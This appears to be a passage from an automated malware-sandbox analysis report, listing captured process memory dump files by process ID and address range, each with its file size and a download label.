                • memory/2104-7656-0x00000000008E0000-0x0000000000A68000-memory.dmp

                  Filesize

                  1.5MB

                  Download

                • memory/2284-3990-0x0000000000400000-0x0000000000CD9000-memory.dmp

                  Filesize

                  8.8MB

                  Download

                • memory/2284-6713-0x0000000000400000-0x0000000000CD9000-memory.dmp

                  Filesize

                  8.8MB

                  Download

                • memory/2436-1806-0x0000000010000000-0x000000001001C000-memory.dmp

                  Filesize

                  112KB

                  Download

                • memory/2436-873-0x0000000000400000-0x000000000042E000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/2436-875-0x0000000000400000-0x000000000042E000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/2436-1760-0x0000000000400000-0x000000000042E000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/2516-318-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/2516-342-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/3264-316-0x00007FFC62F90000-0x00007FFC63655000-memory.dmp

                  Filesize

                  6.8MB

                  Download

                • memory/3264-334-0x00007FFC73F60000-0x00007FFC73F8D000-memory.dmp

                  Filesize

                  180KB

                  Download

                • memory/3264-333-0x00007FFC74A60000-0x00007FFC74A7A000-memory.dmp

                  Filesize

                  104KB

                  Download

                • memory/3264-338-0x00007FFC62F90000-0x00007FFC63655000-memory.dmp

                  Filesize

                  6.8MB

                  Download

                • memory/3264-340-0x00007FFC73F60000-0x00007FFC73F8D000-memory.dmp

                  Filesize

                  180KB

                  Download

                • memory/3264-339-0x00007FFC74A60000-0x00007FFC74A7A000-memory.dmp

                  Filesize

                  104KB

                  Download

                • memory/3268-17-0x0000000006680000-0x000000000669E000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/3268-22-0x0000000007BA0000-0x0000000007C36000-memory.dmp

                  Filesize

                  600KB

                  Download

                • memory/3268-23-0x0000000007B40000-0x0000000007B62000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/3268-18-0x00000000066D0000-0x000000000671C000-memory.dmp

                  Filesize

                  304KB

                  Download

                • memory/3268-5-0x0000000005FD0000-0x0000000006036000-memory.dmp

                  Filesize

                  408KB

                  Download

                • memory/3268-4-0x0000000005F00000-0x0000000005F22000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/3268-19-0x0000000007FC0000-0x000000000863A000-memory.dmp

                  Filesize

                  6.5MB

                  Download

                • memory/3268-20-0x0000000006BC0000-0x0000000006BDA000-memory.dmp

                  Filesize

                  104KB

                  Download

                • memory/3268-16-0x00000000061B0000-0x0000000006504000-memory.dmp

                  Filesize

                  3.3MB

                  Download

                • memory/3268-2-0x00000000030C0000-0x00000000030F6000-memory.dmp

                  Filesize

                  216KB

                  Download

                • memory/3268-24-0x0000000008BF0000-0x0000000009194000-memory.dmp

                  Filesize

                  5.6MB

                  Download

                • memory/3268-3-0x00000000057E0000-0x0000000005E08000-memory.dmp

                  Filesize

                  6.2MB

                  Download

                • memory/3268-6-0x0000000006040000-0x00000000060A6000-memory.dmp

                  Filesize

                  408KB

                  Download

                • memory/3444-852-0x0000000000400000-0x0000000000E1C000-memory.dmp

                  Filesize

                  10.1MB

                  Download

                • memory/3444-874-0x0000000000400000-0x0000000000E1C000-memory.dmp

                  Filesize

                  10.1MB

                  Download

                • memory/3596-195-0x0000000005E70000-0x0000000005EBC000-memory.dmp

                  Filesize

                  304KB

                  Download

                • memory/3596-193-0x0000000005920000-0x0000000005C74000-memory.dmp

                  Filesize

                  3.3MB

                  Download

                • memory/3996-357-0x0000000001000000-0x000000000130A000-memory.dmp

                  Filesize

                  3.0MB

                  Download

                • memory/3996-355-0x0000000001000000-0x000000000130A000-memory.dmp

                  Filesize

                  3.0MB

                  Download

                • memory/4480-6706-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4480-6690-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4548-824-0x0000000000630000-0x0000000000AEA000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4548-823-0x0000000000630000-0x0000000000AEA000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4728-798-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-356-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-372-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-232-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-5322-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-48-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-1024-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-836-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-50-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-65-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-7424-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-6729-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4728-149-0x0000000000FA0000-0x0000000001464000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4868-160-0x0000000005D00000-0x0000000006054000-memory.dmp

                  Filesize

                  3.3MB

                  Download

                • memory/4868-162-0x0000000006580000-0x00000000065CC000-memory.dmp

                  Filesize

                  304KB

                  Download

                • memory/4952-31-0x0000000000B70000-0x0000000001034000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/4952-47-0x0000000000B70000-0x0000000001034000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/5004-182-0x0000000000CB0000-0x0000000001174000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/5004-170-0x0000000000CB0000-0x0000000001174000-memory.dmp

                  Filesize

                  4.8MB

                  Download

                • memory/5556-129-0x0000000000400000-0x0000000000464000-memory.dmp

                  Filesize

                  400KB

                  Download

                • memory/5556-128-0x0000000000400000-0x0000000000464000-memory.dmp

                  Filesize

                  400KB

                  Download

                • memory/6424-7036-0x0000000000400000-0x000000000042E000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/6424-6711-0x0000000000400000-0x000000000042E000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/6424-6712-0x0000000000400000-0x000000000042E000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/6424-7621-0x0000000000400000-0x000000000042E000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/6648-7302-0x0000025F59D40000-0x0000025F59DB1000-memory.dmp

                  Filesize

                  452KB

                  Download

                • memory/6648-7304-0x0000025F59D40000-0x0000025F59DB1000-memory.dmp

                  Filesize

                  452KB

                  Download

                • memory/6648-7303-0x0000025F59D40000-0x0000025F59DB1000-memory.dmp

                  Filesize

                  452KB

                  Download

                • memory/6648-7296-0x0000025F59D40000-0x0000025F59DB1000-memory.dmp

                  Filesize

                  452KB

                  Download

                • memory/6648-7294-0x0000000000BB0000-0x0000000000BB2000-memory.dmp

                  Filesize

                  8KB

                  Download

                • memory/7012-7286-0x0000000000400000-0x000000000069A000-memory.dmp

                  Filesize

                  2.6MB

                  Download

                • memory/7152-7312-0x000002DB79BA0000-0x000002DB79BC2000-memory.dmp

                  Filesize

                  136KB

                  Download